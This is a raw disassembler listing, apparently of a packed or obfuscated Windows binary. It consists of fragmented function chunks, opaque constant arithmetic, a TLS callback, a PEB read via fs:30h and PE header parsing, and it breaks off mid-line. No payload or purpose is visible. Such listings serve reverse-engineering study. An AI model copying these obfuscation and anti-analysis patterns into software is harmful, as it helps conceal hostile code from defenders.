jmp loc_424F18 sub_429E5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B6D loc_429E6B: ; CODE XREF: sub_429B6D+16BCj jnz locret_429E76 loc_429E71: ; CODE XREF: sub_429B6D+16AFj call sub_429E77 locret_429E76: ; CODE XREF: sub_429B6D:loc_429E6Bj retn ; END OF FUNCTION CHUNK FOR sub_429B6D ; =============== S U B R O U T I N E ======================================= sub_429E77 proc near ; CODE XREF: sub_429B6D:loc_429E71p ; FUNCTION CHUNK AT 0042451D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004250AC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042AAA4 SIZE 00000014 BYTES push ebx push ecx call sub_425E35 call sub_42F9AC loc_429E83: ; CODE XREF: wto1jq8f:0042640Bj jmp loc_42451D sub_429E77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_429E88: ; CODE XREF: sub_426D4F:loc_42B00Dj ; sub_4244EA+96B7j and eax, 72159C37h test eax, 8 jmp loc_424F1E ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_429E99 proc near ; CODE XREF: wto1jq8f:004244BBj ; wto1jq8f:0042A540p arg_0 = dword ptr 4 mov [esp+0], ebx pop ebx add eax, 0E7ADAC07h xchg eax, [esp-4+arg_0] jmp sub_429165 sub_429E99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42655A loc_429EAB: ; CODE XREF: sub_42655A+5D1Fj jle loc_427792 loc_429EB1: ; CODE XREF: sub_42655A:loc_42D160j push ecx push 7DC3EF74h pop ecx and ecx, 8A22BCD0h add ecx, 0F84044BEh xchg ecx, [esp+4+var_4] jmp sub_42ED32 ; END OF FUNCTION CHUNK FOR sub_42655A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBB5 loc_429ECC: ; CODE XREF: sub_42FBB5+Dj or ebx, 42D5CBADh add ebx, 0BBFBB579h popf sbb eax, ebx call sub_42E597 ; END OF FUNCTION CHUNK FOR sub_42FBB5 ; START OF FUNCTION CHUNK FOR sub_426968 loc_429EE0: ; CODE XREF: sub_426968+7A90j jmp loc_427D9C ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_429EE5: ; CODE XREF: sub_42C486-1946j ; sub_426842:loc_42C71Dj jmp loc_42FF2F ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_429EEA: ; CODE XREF: sub_42F50F-4466j cdq adc ebx, ecx jnp loc_427989 and ecx, edi jmp loc_42D068 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- push edi push 0AE65A7F4h mov edi, offset loc_42BC02 call sub_428755 ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429F0A: ; CODE XREF: sub_425F4F+2F53j or edi, 606EE699h xchg edx, [eax] shr edx, 1 pop ecx jmp loc_42AE44 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_429F1A: ; DATA XREF: sub_424635+6o push 0FFFFFFFFh push 0 call sub_42A7E2 ; START OF FUNCTION CHUNK FOR sub_42F614 loc_429F23: ; CODE XREF: sub_42F614:loc_424E6Ej xor [esp+0], eax push eax jmp loc_429653 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_429F2C: ; CODE XREF: sub_42A909+3AAj call sub_42CB36 test al, al jz loc_4275A3 jmp loc_42B297 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429F3E: ; CODE XREF: sub_426535:loc_429E55j jz loc_42D26A jmp loc_424CBF ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_429F49: ; CODE XREF: sub_426E98:loc_42CDCAj sub esi, 2D5CCC75h loc_429F4F: ; CODE XREF: wto1jq8f:0042AF5Dj and ecx, 435DF6D4h pop edi jno nullsub_74 jmp loc_4246F7 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- sub edi, 466D7B1Dh add ecx, ebx jmp sub_427488 ; --------------------------------------------------------------------------- test ecx, eax ; START OF FUNCTION CHUNK FOR sub_429F7D loc_429F70: ; CODE XREF: sub_429F7D:loc_42E6C4j jmp loc_42422C ; END OF FUNCTION CHUNK FOR sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_429F75: ; CODE XREF: sub_429B76+51CCj shl ebx, 0Ch jmp loc_42723A ; END OF FUNCTION CHUNK FOR sub_429B76 ; =============== S U B R O U T I N E ======================================= sub_429F7D proc near ; CODE XREF: wto1jq8f:00429594j ; sub_42F947:loc_42C8E8p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042422C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424485 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428E27 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A21C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A722 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042A808 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B515 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B6CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BEEF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042C168 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E6C4 SIZE 00000011 BYTES mov [esp+4+var_4], ebx pop ebx add eax, 460BE072h add eax, ebp call sub_42A3DA loc_429F8E: ; CODE XREF: sub_4269FD+3D20j cmp esi, ecx jmp loc_42E6C4 sub_429F7D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_429F95: ; CODE XREF: sub_426350+9j cmp dword ptr [ebp-4], 0 jz loc_4278D6 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_427C8D ; END OF FUNCTION CHUNK FOR sub_426350 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429FB6: ; CODE XREF: wto1jq8f:0042A438j jmp loc_42DDB1 ; --------------------------------------------------------------------------- loc_429FBB: ; CODE XREF: wto1jq8f:00428CDFj xor [esi], ebx add [esi], ecx xor [esi], edx mov eax, 80000004h jmp loc_42EB99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_429FCB: ; CODE XREF: sub_42506F+9260j call sub_42BB58 push 411BC082h pop eax and eax, 64C560F2h rol eax, 1Ch jnb loc_42F30E loc_429FE5: ; CODE XREF: sub_42F15Dj ; DATA XREF: sub_42E64B+B08o xor ecx, ecx xor edx, edx call sub_426E65 add ebp, 0D7C1AC11h jmp sub_42FE77 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E676 loc_429FF9: ; CODE XREF: sub_42E676:loc_428EC2j add ecx, 0D220989Dh xchg ecx, [esp+0] jmp loc_425EC2 ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42A007: ; CODE XREF: sub_42B35E:loc_425D11j add edx, 0E64FE804h mov dword ptr [edx], 2000h jmp nullsub_15 ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_42A018: ; CODE XREF: sub_42ED01j mov eax, offset dword_42CAF8 loc_42A01D: ; CODE XREF: wto1jq8f:004270E8j call sub_42E4DB ; END OF FUNCTION CHUNK FOR sub_42ED01 ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42A022: ; CODE XREF: sub_429B76+4E22j jmp loc_425C7D ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285AF loc_42A027: ; CODE XREF: sub_4285AF+Ej jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_4285AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42A02C: ; CODE XREF: sub_427A8D:loc_42FF62j push eax rol eax, 7 mov ds:dword_42F094, eax retn ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42A037: ; CODE XREF: sub_429471+38BDj jmp loc_4288F7 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428845 loc_42A03C: ; CODE XREF: sub_428845+2j jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_428845 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42A041: ; CODE XREF: sub_427A8D-301Dj ror eax, 7 jmp loc_42C585 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- push eax jmp sub_426A97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA8 loc_42A04F: ; CODE XREF: sub_425EA8:loc_425EB4j call sub_424585 mov edx, 20413B0Fh call sub_429165 push eax jmp loc_42F35B ; END OF FUNCTION CHUNK FOR sub_425EA8 ; --------------------------------------------------------------------------- loc_42A064: ; CODE XREF: wto1jq8f:loc_42944Fj add ebx, 514CD4AAh xchg ebx, [esp] jmp loc_42C53D ; --------------------------------------------------------------------------- loc_42A072: ; CODE XREF: wto1jq8f:00427F8Aj jnz loc_42BDD4 jmp loc_427086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42A07D: ; CODE XREF: sub_424585:loc_42784Cj call sub_42E5B2 cmp ds:dword_42DAE4, 0 jnz loc_427B25 lea edx, [ebp+var_14] jmp loc_42BD27 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- loc_42A097: ; CODE XREF: wto1jq8f:0042737Ej push edi mov edi, eax xchg edi, [esp] call sub_42DC5C loc_42A0A2: ; CODE XREF: wto1jq8f:0042E668j jmp loc_42C550 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DBE loc_42A0A7: ; CODE XREF: sub_428DBE+1Aj jmp loc_42BB33 ; END OF FUNCTION CHUNK FOR sub_428DBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42A0AC: ; CODE XREF: sub_429B76-10B5j jmp loc_424086 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- jmp loc_42AF44 ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42A0BD: ; CODE XREF: wto1jq8f:0042E28Fj ; sub_428A19:loc_42EFFCj mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_42C163 ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42A0C8: ; CODE XREF: sub_429B76-59E0j jnz loc_427B9B jmp loc_42907C ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42A0D3: ; CODE XREF: sub_42C486+1A3Aj pop ecx xor ecx, 0A5B3DE40h test ecx, 100h jmp loc_42906C ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= sub_42A0E5 proc near ; CODE XREF: sub_42EDB9:loc_42B1A5p ; wto1jq8f:0042E26Ej ; FUNCTION CHUNK AT 00424DF7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424E52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426527 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CAFC SIZE 00000005 BYTES mov [esp+0], edx pop edx push ebx push 7EBA071Dh pop ebx or ebx, 6D1DFD03h jmp loc_424E52 sub_42A0E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42A0FB: ; CODE XREF: sub_42F50F-8D41j pop eax retn ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42A0FD: ; CODE XREF: sub_429D2E+4D8Dj jmp loc_42BCB3 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42A102: ; CODE XREF: sub_42F50F-2543j ; wto1jq8f:loc_42D1DBj mov eax, [ebp-4] push offset loc_42CB2E jmp loc_424785 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42A10F: ; CODE XREF: sub_42F6A9-188Fj jl loc_4277A6 mov [eax], edx loc_42A117: ; CODE XREF: sub_42F6A9:loc_425C02j push 0A3CD4961h mov ecx, offset sub_42727F call sub_427277 loc_42A126: ; CODE XREF: sub_42FA6E+6j jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42A12B: ; CODE XREF: sub_428333+12j jmp loc_42AA44 ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D322 loc_42A130: ; CODE XREF: sub_42D322+Ej mov eax, ds:dword_42F0B4 or eax, eax jnz loc_429857 call sub_427A8D mov edx, 0E996F72Eh jmp loc_42BEA8 ; END OF FUNCTION CHUNK FOR sub_42D322 ; =============== S U B R O U T I N E ======================================= sub_42A14D proc near ; CODE XREF: wto1jq8f:00428EE4j ; TlsCallback_0+5166p ; FUNCTION CHUNK AT 00424A69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C88 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425A83 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425ED2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A9C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F5A8 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jmp loc_424C88 sub_42A14D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_429091 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42A15B: ; CODE XREF: sub_4272F3:loc_426D77j mov eax, large fs:30h jmp loc_426985 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A167: ; CODE XREF: sub_426535-232Fj push edi sub ebp, 2532266Ch mov ebp, 56C79A79h ja sub_428B3E loc_42A179: ; CODE XREF: sub_426535:loc_429E0Dj push 3BE24861h pop eax add eax, 0F1E9B219h add eax, ebp jmp loc_42F559 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42A18C: ; CODE XREF: sub_4284EC:loc_4287E6j jz loc_426002 jmp loc_42FF18 ; END OF FUNCTION CHUNK FOR sub_4284EC ; =============== S U B R O U T I N E ======================================= sub_42A197 proc near ; CODE XREF: wto1jq8f:0042436Bp ; sub_42C4E2+47Dj ; FUNCTION CHUNK AT 00424AAA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426956 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426E93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AA89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE54 SIZE 00000010 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-8] mov al, [eax] add [ebp-0Ah], al xor eax, eax jmp loc_424AAA sub_42A197 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6B1 loc_42A1AA: ; CODE XREF: sub_42C6B1j push 0B968FEB0h mov [esp+4+var_4], ebp push offset loc_424A44 jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_42C6B1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A1BD: ; CODE XREF: sub_426535+2E08j jmp loc_4282B5 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42A1C2: ; CODE XREF: sub_42C486-4DCBj jmp loc_42CBAB ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42A1C7: ; CODE XREF: sub_429165-4252j jmp loc_42DBD7 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D2BB loc_42A1CC: ; CODE XREF: sub_42D2BB+10j pop edx rol esi, 1Fh push offset sub_42BF49 jmp locret_42AA67 ; END OF FUNCTION CHUNK FOR sub_42D2BB ; --------------------------------------------------------------------------- loc_42A1DA: ; CODE XREF: wto1jq8f:loc_424854j adc edx, 5A3C8CF3h ror ebx, 15h jmp loc_42E454 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C93C loc_42A1E9: ; CODE XREF: sub_42C93C+3274j jmp nullsub_241 ; END OF FUNCTION CHUNK FOR sub_42C93C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42A1EE: ; CODE XREF: sub_42A909:loc_42F718j jnz loc_42FA34 jmp loc_42A67A ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB58 loc_42A1F9: ; CODE XREF: sub_42BB58+18j popf xchg ecx, [esp+0] jmp loc_4274B3 ; END OF FUNCTION CHUNK FOR sub_42BB58 ; =============== S U B R O U T I N E ======================================= sub_42A202 proc near ; CODE XREF: sub_42E7D7+3p ; FUNCTION CHUNK AT 0042D012 SIZE 0000000A BYTES mov [esp+0], ecx push 0FFFFFFF1h call sub_4284EC push eax call sub_42E64B mov edx, [ebp+8] mov eax, [edx] jmp loc_42D012 sub_42A202 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42A21C: ; CODE XREF: sub_4269FD:loc_42A717j ; sub_429F7D+4753j push ecx push 9BA3F5E8h pop ecx sub ecx, 0F3F62D2Dh add ecx, 58949A63h xchg ecx, [esp+4+var_4] jmp loc_42A808 ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= sub_42A237 proc near ; DATA XREF: sub_424F31+9DBBo ; FUNCTION CHUNK AT 0042E4C5 SIZE 00000005 BYTES xchg ebx, [esp+0] jmp loc_42E4C5 sub_42A237 endp ; --------------------------------------------------------------------------- push 291FB3E1h loc_42A244: ; CODE XREF: wto1jq8f:loc_42C7D7j pop edx xor edx, 58121788h push eax push offset sub_42C595 jmp loc_4271CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_42A257: ; CODE XREF: sub_42481C+982Cj xor ebp, 61F1D681h sbb esi, 49AAA160h pop esi loc_42A264: ; CODE XREF: sub_42481C:loc_42F3C5j push offset sub_428FFC jmp loc_42A36E ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- loc_42A26E: ; CODE XREF: wto1jq8f:0042E5ADj jnz loc_42ECFB jmp loc_42AEBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F3E7 loc_42A279: ; CODE XREF: sub_42F3E7+16j lea eax, loc_4272DE push offset loc_42B790 jmp loc_429303 ; END OF FUNCTION CHUNK FOR sub_42F3E7 ; =============== S U B R O U T I N E ======================================= sub_42A289 proc near ; CODE XREF: wto1jq8f:0042988Dp ; wto1jq8f:00430012j mov [esp+0], ecx pop ecx push eax rol eax, 6 mov ds:dword_429074, eax retn sub_42A289 endp ; --------------------------------------------------------------------------- loc_42A298: ; CODE XREF: wto1jq8f:00428953j ror eax, 6 jmp loc_4295A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42A2A0: ; CODE XREF: sub_429B76+5AE0j jl loc_42E2DC cdq jmp loc_42E2DC ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- locret_42A2AC: ; CODE XREF: wto1jq8f:loc_42612Ej retn ; --------------------------------------------------------------------------- loc_42A2AD: ; DATA XREF: sub_42C2D2+13o mov eax, [ebp-4] mov [ebp-8], eax jmp loc_42BEA3 ; =============== S U B R O U T I N E ======================================= sub_42A2B8 proc near ; CODE XREF: sub_42EA31+6j ; FUNCTION CHUNK AT 0042E49D SIZE 00000018 BYTES add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax jmp loc_42E49D sub_42A2B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42A2C6: ; CODE XREF: sub_42C486:loc_42F7C8j jnz loc_42ADA7 jmp loc_427981 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42A2D1: ; CODE XREF: sub_428AC6:loc_42F088j push 0BBA7CACEh pop eax or eax, ds:4000F7h add eax, 26F8BDD7h add eax, ebp jmp loc_42A773 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42A2EB: ; CODE XREF: sub_42506F+57DAj jmp loc_426C94 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42A2F0: ; CODE XREF: sub_42D434-4FD5j jz loc_428230 cdq rol edx, 0Bh and eax, 874D6BB6h or ebx, ebp jmp loc_42822F ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42A307: ; CODE XREF: sub_42B276:loc_42B934j shl edi, 17h jmp loc_427C6B ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- loc_42A30F: ; DATA XREF: sub_4295AA+5o mov [esp], ebp mov ebp, esp push 2912348Ch mov [esp], ecx mov esp, ebp pop ebp mov eax, ds:dword_429078 or eax, eax jmp loc_42DE49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F23A loc_42A32C: ; CODE XREF: sub_42F23A-AD30j sbb ebp, 765B18E2h jmp loc_42C3CA ; END OF FUNCTION CHUNK FOR sub_42F23A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42A337: ; CODE XREF: wto1jq8f:00424247j ; sub_4282C1+5E83j sub eax, 61A1AFD5h add eax, 2C4FB57h xchg eax, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D789 loc_42A34B: ; CODE XREF: sub_42D789-735Dj xchg esi, ecx loc_42A34D: ; CODE XREF: sub_42D789:loc_4277E9j push eax push 743B4053h pop eax sub eax, 0FFE82299h jmp loc_42643C ; END OF FUNCTION CHUNK FOR sub_42D789 ; =============== S U B R O U T I N E ======================================= sub_42A35F proc near ; CODE XREF: sub_42BE51+3p ; wto1jq8f:0042E5E7j mov [esp+0], esi pop esi mov [ebp-8], edx mov [ebp-4], eax call sub_426350 loc_42A36E: ; CODE XREF: sub_42481C+5A4Dj jmp nullsub_41 sub_42A35F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42A373: ; CODE XREF: sub_42EDB9-59CEj jl loc_4282DB and ebp, esi jg loc_425E50 jmp loc_4282D6 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_42A386: ; DATA XREF: sub_42F75D-79EBo jnz loc_42A585 mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_42A585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42A398: ; CODE XREF: sub_42C4E2j sub_42C4E2+Dj jns loc_429423 cmp dword ptr [ebp-10h], 0 jnz loc_428564 mov eax, [ebp+8] push eax jmp loc_426451 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42A3B1: ; CODE XREF: sub_42F25F:loc_42E691j jz loc_42B0F4 jmp loc_426D99 ; END OF FUNCTION CHUNK FOR sub_42F25F ; =============== S U B R O U T I N E ======================================= sub_42A3BC proc near ; CODE XREF: sub_42A56D:loc_42A573p ; wto1jq8f:0042AE77j ; FUNCTION CHUNK AT 0042484A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CF30 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042F973 SIZE 00000006 BYTES mov [esp+0], edx pop edx ror edx, 18h shl eax, 4 push 6C83AAD3h jmp loc_42CF30 sub_42A3BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42A3D0: ; CODE XREF: sub_424585:loc_42BD27j push offset loc_42C9B5 jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_42A3DA proc near ; CODE XREF: wto1jq8f:00424F4Cj ; sub_429F7D+Cp ; FUNCTION CHUNK AT 00424A8B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004281F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CD1E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FB94 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add eax, 0CA415FDCh mov eax, [eax] jmp loc_428C6C sub_42A3DA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42A3EB proc near ; CODE XREF: sub_42F185+3j ; FUNCTION CHUNK AT 00424A82 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425B62 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428D05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CDF9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042DC80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E039 SIZE 00000005 BYTES add esp, 0FFFFFFF4h mov [ebp-8], eax call sub_427450 push ecx jmp loc_42DC80 sub_42A3EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- add ecx, 0AE6C61DAh sbb edx, ecx jmp sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42A409: ; CODE XREF: sub_4272F3+16j push 0CBAEEFE6h pop edx add edx, 3451101Ch add eax, edx pop edx mov eax, [eax] jmp loc_42B22E ; END OF FUNCTION CHUNK FOR sub_4272F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A420: ; CODE XREF: wto1jq8f:0042CD19j jmp sub_42F3E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_42A425: ; CODE XREF: sub_4282FE-38Fj xor ebp, eax cmp esi, 2B060396h jmp loc_42B24D ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- loc_42A432: ; CODE XREF: wto1jq8f:loc_4272EEj jz loc_429DBB jmp loc_429FB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A43D: ; CODE XREF: sub_426535-187j push 0AABDB9A1h loc_42A442: ; CODE XREF: wto1jq8f:loc_42488Ej call sub_42CB36 push offset loc_42D2D0 jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E785 loc_42A451: ; CODE XREF: sub_42E785:loc_42E791j xchg edx, [esp+0] jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_42E785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42A459: ; CODE XREF: sub_42AECE+37A3j mov ebp, esp push ecx mov esp, ebp mov ebp, offset sub_42A467 xchg ebp, [esp+0] locret_42A466: ; CODE XREF: 